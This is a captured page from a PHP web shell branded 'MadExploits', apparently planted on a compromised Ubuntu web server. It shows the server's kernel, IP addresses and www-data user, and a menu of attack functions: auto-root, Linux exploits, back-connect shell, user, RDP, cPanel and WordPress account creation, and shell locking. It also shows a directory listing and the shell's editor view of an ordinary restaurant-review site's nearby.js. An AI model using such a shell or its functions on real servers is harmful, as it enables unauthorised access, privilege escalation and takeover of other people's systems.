Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.35
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cravings /
public /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-rw-r--
addfood.js
12.9
KB
-rw-rw-r--
auth.js
2.07
KB
-rw-rw-r--
autocomplete.js
1.83
KB
-rw-rw-r--
autos.js
578
B
-rw-rw-r--
bootstrap.min.js
56.24
KB
-rw-rw-r--
cloudinary.js
1.81
KB
-rw-rw-r--
cloudinary2.js
1.03
KB
-rw-rw-r--
cloudinary_global.js
132.8
KB
-rw-rw-r--
cravvings.js
344
B
-rw-rw-r--
fetch.js
392
B
-rw-rw-r--
handlebars.min.js
78.38
KB
-rw-rw-r--
home.js
1.51
KB
-rw-rw-r--
initMap.js
1.21
KB
-rw-rw-r--
input-control.js
987
B
-rw-rw-r--
inputmap.js
428
B
-rw-rw-r--
jquery-ui.js
681.55
KB
-rw-rw-r--
jquery.js
102.1
KB
-rw-rw-r--
jquery.modal.min.js
4.84
KB
-rw-rw-r--
js-autocomplete.js
11.29
KB
-rw-rw-r--
main.js
1.25
KB
-rw-rw-r--
mainsearch.js
973
B
-rw-rw-r--
maps.js
3.71
KB
-rw-rw-r--
moment.js
147.4
KB
-rw-rw-r--
nearby.js
18.4
KB
-rw-rw-r--
place.js
10.56
KB
-rw-rw-r--
placenew.js
9.37
KB
-rw-rw-r--
places-list.js
1.35
KB
-rw-rw-r--
popper.min.js
22.09
KB
-rw-rw-r--
review.js
6.32
KB
-rw-rw-r--
search.js
1.16
KB
-rw-rw-r--
searchInput.js
2.83
KB
-rw-rw-r--
select2.min.js
69.19
KB
-rw-rw-r--
side.js
851
B
-rw-rw-r--
slick.min.js
41.86
KB
-rw-rw-r--
swal2.js
63.36
KB
-rw-rw-r--
sweetalert.js
39.85
KB
-rw-rw-r--
tooltip.js
6.22
KB
-rw-rw-r--
utility.js
10.34
KB
-rw-rw-r--
vex.combined.js
17.49
KB
-rw-rw-r--
vex.min.js
8.79
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nearby.js
var vexInstance; const query = {...deserialize(location.search)}; const place = { currentFood: null, init: function() { fetchPlaceApi().then(place => { this.foodItems = place.place.food; this.filtered = place.place.food; delete place['food']; this.place = place.place; this.foodWrapper = document.querySelector('#food-container'); document.getElementById('place-details').innerHTML = detailsTemplate(this.place); this.filterInput = document.querySelector('.filter-food') this.clearFilterText = document.querySelector('.clear-text') // document.getElementById('hero-name').innerHTML = this.place.name; this.initMap(); this.loadItems(); this.checkRating(); this.setUpListeners(); }); }, setUpListeners: function() { document.addEventListener('click', e => { // if(e.target.matches('.review')) this.rate(e); if(e.target.matches('.open-comments')) this.getComments(e) // else if(e.target.matches('.add-new')) this.addItem(e) // else if(e.target.matches('.add-new')) this.addItem(e) }) // document.querySelector('.reviews').addEventListener('click', this.review.bind(this)) // document.querySelector('.social-link').addEventListener('click', this.loginUser.bind(this)) // document.querySelector('.like-food').addEventListener('click', this.like.bind(this)); // $('.edit-food').on('click', this.editItem.bind(this)); // $('.filter-food').on('focus', function(e) { // let windowTop = $(window).scrollTop(); // let target = $(e.currentTarget) // let viewportOffset = e.target.getBoundingClientRect() // if (target.offset().top > 100 && viewportOffset.top > 230) { // setTimeout(function() { // $(e.currentTarget).addClass('fixed-top').select(); // $('.hero, .place-map').hide(); // // this.scrollTop = windowTop; // this.scrollTo(0, 0); // }, 200) // } // }.bind(this)); // $('.filter-food').on('blur', function(e) { // let target = $(e.currentTarget) // if (target.hasClass('fixed-top')) { // target.removeClass('fixed-top'); // $('.hero, .place-map').show(); // } // }.bind(this)) document.querySelector('.filter-food').addEventListener('keyup', this.filterItems.bind(this)) }, initMap: function() { const [longitude, latitude] = this.place.coords var options = { zoom: 16, center: { lat: latitude, lng: longitude } } try { var map = new google.maps.Map(document.getElementById('map'), options) var infoWindow = new google.maps.InfoWindow() var html = `<a style="font-size: 16px;" href='https://www.google.com/maps/search/${plusEncode(this.place.address)}'><span>${this.place.name}</span><br><span style="color: #34A853;">Open on Google Maps</span></a> <br/>${this.place.address}`; var marker = new google.maps.Marker({ map: map, position: options.center }); infoWindow.setContent(html); infoWindow.open(map, marker); } catch (error) { console.log(error) } // google.maps.event.addListener(marker, 'click', function() { // infoWindow.setContent(html); // infoWindow.open(map, marker); // }); }, loadItems: function() { this.foodWrapper.innerHTML = this.filtered ? this.filtered.sort(compare).map((food, i) => foodTemplate(food, i, this.place.slug)).join("") : ""; // this.foodWrapper.innerHTML += addNewFood() }, filterItems: function(e) { const inp = e.target.value; const newItems = [...this.foodItems].filter(item => item.name.toLowerCase().includes(inp.toLowerCase())); this.filtered = newItems; this.loadItems(); }, rate: function(e) { e.preventDefault(); load.style.display = "flex"; const elem = e.target; this.reviewWrapper = elem.closest('.review-wrapper'); this.index = this.reviewWrapper.dataset.index || -1; const id = this.reviewWrapper.dataset.id; const type = elem.dataset.type; const postUrl = `/rate/${type}/${this.place.slug}/${id ? id : ""}`; this.fetchPage(postUrl); // document.querySelector('.rate input').addEventListener('change', function(e) { // document.querySelector('.comment-box').focus(); // }) }, review: function(e) { e.preventDefault() }, like: function(e){ e.preventDefault(); const target = e.target; const id = target.dataset.id; const type = target.dataset.type; doFetch(`/api/like/${type}/${id}`) .then(response => { if(response.modified){ target.style.color = '#C32022'; } }) }, checkRating: function() { let rating = localStorage.getItem('rating') && JSON.parse(localStorage.getItem('rating')); if(rating){ if(rating.place === this.place.slug){ const postUrl = `/rate/${rating.type}`; if(rating){ postit(rating, postUrl) .then(response => { if(response && response.status === 'success') { // localStorage.removeItem('rating') this.updateRating(response, rating.type) } }) } }else { localStorage.removeItem('rating') } } }, updateRating: function(response, type) { switch (type) { case 'food': const rating = localStorage.getItem('rating') && JSON.parse(localStorage.getItem('rating')); if(rating.place === this.place.slug) { const toUpdate = document.querySelector(`.place-menu-item[data-id="${response.food._id}"]`); // const parent = toUpdate.parent; toUpdate.outerHTML = foodTemplate(response.food) // console.log(toUpdate.querySelector('.review')) // toUpdate.querySelector('.review').addEventListener('click', this.rate.bind(this)) } break; case 'place': const ratingContainer = document.querySelector('.rating-container'); ratingContainer.innerHTML = placeRating(response.place.rating) break; default: break; } localStorage.removeItem('rating'); var notif = `<h6 class="text-white">${response.message}</h6>`; document.querySelector('.flash-message').innerHTML = notif; document.querySelector('.flash-message').style.display = 'block'; setTimeout(function(){ document.querySelector('.flash-message').style.display = 'none'; }, 3000); vexInstance && vex.close(vexInstance); }, post: function(e) { const form = e.target; const type = form.dataset.type; if(place.action !== 'add') { localStorage.setItem('rating', JSON.stringify({...serializeForm(e), index: place.index})); } postForm(e).then(response => { // console.log({response}) load.style.display = "none"; if (response && response.status) { if (response.status === 'success') { place.updateRating(response, type); }else if (response.status === 'failed') { if (typeof response.message === 'string') { document.querySelector('.error-bag').innerHTML = response.message; }else if(typeof response.message === 'object'){ var msg = Object.keys(response.message).forEach(key => document.getElementById(key).innerHTML = response.message[key]); } form.querySelector('button[type="submit"]').attr('disabled', false); } } else { // console.log({response}) vexInstance.contentEl.innerHTML = response; // document.querySelectorAll('form').forEach(f => f.addEventListener('submit', this.post.bind(this))) } }); }, handleRatingSuccess: function(){ }, loginUser: function(e){ e.preventDefault(); const link = e.target.getAttribute('href'); window.open(link); // var formDeets = serializeForm(e); // console.log(formDeets) // doFetch('/api/admin/login', {method: 'POST', body: JSON.stringify(formDeets), headers: {'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')}}) // .then(status => console.log(status)) }, getComments: function(e) { e.preventDefault(); const target = e.target; const food = target.dataset.food; const wrapper = target.closest('.review-wrapper'); this.fetchPage(`/reviews/${this.place.slug}/${food ? wrapper.dataset.id : ""}`); }, addItem: async function(e) { e.preventDefault(); this.action = 'add'; // this.edit = false; this.fetchPage(`/api/food/${this.place.slug}`); }, // editItem: function(e){ // e.preventDefault(); // const $target = $(e.currentTarget); // const index = parseInt($target.closest('.food-item').data('index')); // console.log({index}); // if(index){ // this.edit = true; // const filtered = {...this.filtered} // const foodItem = filtered[index]; // vexInstance = vex.open({ // unsafeContent: editFood(foodItem, this.place.slug, "PUT"), // showCloseButton: false // }); // } // }, fetchPage: async function(link) { var temp = await doFetch(link, { redirect: 'follow', headers: { 'Content-Type': 'text/plain', 'X-Requested-With': 'XMLHttpRequest' } }); load.style.display = "none"; vexInstance = vex.open({ unsafeContent: temp.payload, showCloseButton: false }); document.addEventListener('submit', this.post) // document.querySelectorAll('form').forEach(f => f.addEventListener('submit', this.post.bind(this))) } } document.addEventListener("click", function(e){ if(e.target.matches("#upload_widget")) myWidget.open(); }, false); document.addEventListener('click', function(e){ if(e.target.matches('.go-back')){ // e.preventDefault(); const prev = document.referrer; if(prev.includes('cravvings.com')){ window.history.back(); }else { window.location.href = "/search"; } } }); const compare = (a, b) => { if (query.q) { if (a.name.toLowerCase().includes(query.q.toLowerCase())) { return -1; } else { return 1; } } } place.init(); const ratings = (rating) => { const avgRating = rating.length ? rating.reduce((total, rating) => total + parseInt(rating.rate), 0) / rating.length : null; return avgRating; } const phones = (phone) => ` <a href="tel:${phone}"> <svg stroke="currentColor" fill="#222222" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M426.666 330.667a250.385 250.385 0 0 1-75.729-11.729c-7.469-2.136-16-1.073-21.332 5.333l-46.939 46.928c-60.802-30.928-109.864-80-140.802-140.803l46.939-46.927c5.332-5.333 7.462-13.864 5.332-21.333-8.537-24.531-12.802-50.136-12.802-76.803C181.333 73.604 171.734 64 160 64H85.333C73.599 64 64 73.604 64 85.333 64 285.864 226.136 448 426.666 448c11.73 0 21.334-9.604 21.334-21.333V352c0-11.729-9.604-21.333-21.334-21.333z"></path></svg> ${phone} </a>` document.addEventListener('click', function(e){ console.log('click') if(vex && vexInstance && e.target.matches('.close-modal')){ console.log('inner') vex.close(vexInstance) } }) const deliverys = (delivery) => { if(delivery && delivery.length){ return ` <div class="place-delivery"> <i class="fa fa-motorcycle"></i> <span class="delivery-loc">${delivery.map(area => area).join(", ")}</span> </div> ` } return ''; } const takeaway = (take) => { return take ? `<div>Pickup: <span class="check-mark"><i class="fa fa-check-square"></i></span></div>` : '' } function placeRating(rating){ return ` <div class="place-rating"> Avg Rating ${starred(rating)} </div> ` } function detailsTemplate(place) { // const twitter = `https://twitter.com/share?url=https%3A%2F%2Fcravvings.com%2Fplaces%2F${place.slug}&text=See%20${place.name}%20on%20Cravvings`; // const whatsapp = `https://wa.me/?text=See%20${place.name}%20on%20Cravvings%20via%20https%3A%2F%2Fcravvings.com/places/${place.slug}`; // const facebook = `https://www.facebook.com/dialog/feed?app_id=875457879311564&link=https%3A%2F%2Fcravvings.com%2Fplaces%2F${place.slug}%2F&picture=${place.image ? place.image : 'https%3A%2F%2Fcravvings.com%2Fimages%2Ficon.png'}&name=See&caption=%20&description=${place.name}%20on%20Cravvings`; // <div class="share-url"> // <span>Share: </span> // <a target="_blank" href="${twitter}"><i class="fa fa-twitter"></i></a> <a target="_blank" href="${facebook}"><i class="fa fa-facebook"></i></a> <a target="_blank" href="${whatsapp}"><i class="fa fa-whatsapp"></i></a> // </div> return ` <div class="place-header-content"> <div class="title-header"> <h1 class="name">${place.name}</h1> <p class="place-address"><i class="fa fa-map-marker"></i> <span class="actual-address">${place.address}</span></p> ${deliverys(place.delivery)} ${takeaway(place.takeaway)} <div class="place-phones"> ${place.phones && place.phones.length ? place.phones.map(phone => phones(phone)).join(" ") : ''} </div> </div> <hr /> <div class="review-header review-wrapper"> <div class="rating-container"> ${placeRating(place.avg_rate)} </div> <a href="/review/${place.slug}" class="button button-secondary rate-place review">WRITE A REVIEW</a> <a href="#" class="open-comments num-reviews" data-food="">View Reviews</a> </div> </div> `; } function addNewFood() { return ` <div class="add-new-container"> <a href="#" class="add-new"> Add Food </a> </div> ` } // String.prototype.indexOfEnd = function(string) { var io = this.indexOf(string); return io == -1 ? -1 : io + string.length; } const starred = (avgRating) => { let rat = ""; const avg = avgRating && avgRating.rate ? avgRating.rate : avgRating; for (var i = 0; i < Math.floor(avg); i++) { rat += `<i class="fa fa-star"></i>`; } return rat; }; // console.log(capitalize("Rice and Beans")); function foodTemplate(food, i, place_slug) { food.name = capitalize(food.name); // const avgRating = food.rating.rate ? ratings(food.rating) : null; let edited, editedDesc; if (query.q && food.name.toLowerCase().includes(query.q.toLowerCase())) { edited = highlight(food.name, query.q); } if (query.q && food.description.toLowerCase().includes(query.q.toLowerCase())) { editedDesc = highlight(food.description, query.q); } var liked, color; // if ($user !== "0" && food.likes && food.likes.length) { // liked = food.likes.includes($user); // color = liked ? '#C32022' : '#ccc'; // }else color = '#ccc'; // <a href="#" class="like-food" data-id="${food._id}" data-type="food" style="color: ${color}"> // <i class="fa fa-heart"></i> // </a> function highlight(text, term) { // const end = text.indexOf(term.substring(term.length - 1)) + 1; const end = text.toLowerCase().indexOfEnd(term.toLowerCase()); const start = text.toLowerCase().indexOf(term.toLowerCase()); const toBeHighlighted = text.substring(start, end); const highlighted = `<span class="highlight">${toBeHighlighted}</span>`; return text.replace(toBeHighlighted, highlighted); } return ` <div class="place-menu-item food-item review-wrapper" data-id="${food._id}" data-index="${i}"> <div class="place-menu-name food-name"> <a data-name="${food.name}" data-type="food" class="rate-food review" href="/review/${place_slug}/${food._id}"> ${edited ? edited : food.name} </a> </div> <div class="place-menu-price">${food.price || 0}</div> <div class="place-menu-description"> ${editedDesc ? editedDesc : food.description ? food.description.length > 3 ? food.description : "" : ""} </div> <div class="place-menu-rate"> ${starred(food.rating)} </div> <div class="rate-link"><a data-name="${food.name}" data-type="food" class="rate-food review" href="/review/${place_slug}/${food._id}">Rate it</a></div> </div> `; } const review = (placeReviews) => { const { rating, name } = placeReviews; const revs = rating.length === 1 ? 'review' : 'reviews'; return `<a data-food="${name ? name : ''}" href="#modal" class="pull-right open-comments">${rating && rating.length} reviews</a>`; } document.addEventListener('click', function(e){ if(e.target.matches('.nav-tabs .nav-link')) { e.preventDefault() document.querySelector('.nav-link.active').classList.remove('active'); document.querySelector('.show').classList.remove('show', 'active'); e.target.classList.add('active') const ges = e.target.getAttribute('href').split('#')[1]; document.querySelector(`#${ges}`).classList.add('show', 'active') } })
Close